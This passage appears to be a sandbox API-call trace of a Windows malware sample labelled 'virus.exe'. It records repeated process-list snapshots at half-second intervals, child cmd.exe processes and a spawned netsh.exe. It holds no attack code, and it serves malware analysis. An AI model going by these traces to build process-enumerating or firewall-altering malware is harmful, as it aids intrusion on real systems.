lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0197.921] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0197.922] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0197.922] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0197.922] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0197.923] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0197.923] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0197.924] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0197.924] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0197.924] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0197.925] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0197.925] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0197.925] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0197.926] CloseHandle (hObject=0x178) returned 1 [0197.926] Sleep (dwMilliseconds=0x1f4) [0198.649] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4 [0198.651] Process32FirstW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.652] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0198.652] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0198.652] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0198.653] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0198.653] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0198.653] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0198.654] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0198.654] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0198.654] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0198.655] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.655] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.655] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.656] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.656] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.656] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0198.657] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.657] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.658] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0198.658] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0198.658] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0198.659] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0198.659] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.659] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0198.660] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0198.660] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0198.660] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0198.661] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0198.661] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0198.662] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0198.662] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0198.662] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0198.663] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0198.663] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0198.663] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0198.664] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0198.664] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0198.665] CloseHandle (hObject=0x1a4) returned 1 [0198.665] Sleep (dwMilliseconds=0x1f4) [0199.217] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0199.219] Process32FirstW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.219] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0199.219] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0199.220] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.220] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0199.221] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.228] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0199.229] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0199.229] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0199.229] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0199.230] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.230] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.230] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.231] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.231] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.231] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0199.232] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.232] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.232] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0199.233] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0199.233] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0199.233] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0199.234] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.234] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0199.234] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0199.235] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0199.235] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0199.235] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0199.236] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0199.236] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0199.237] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0199.237] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 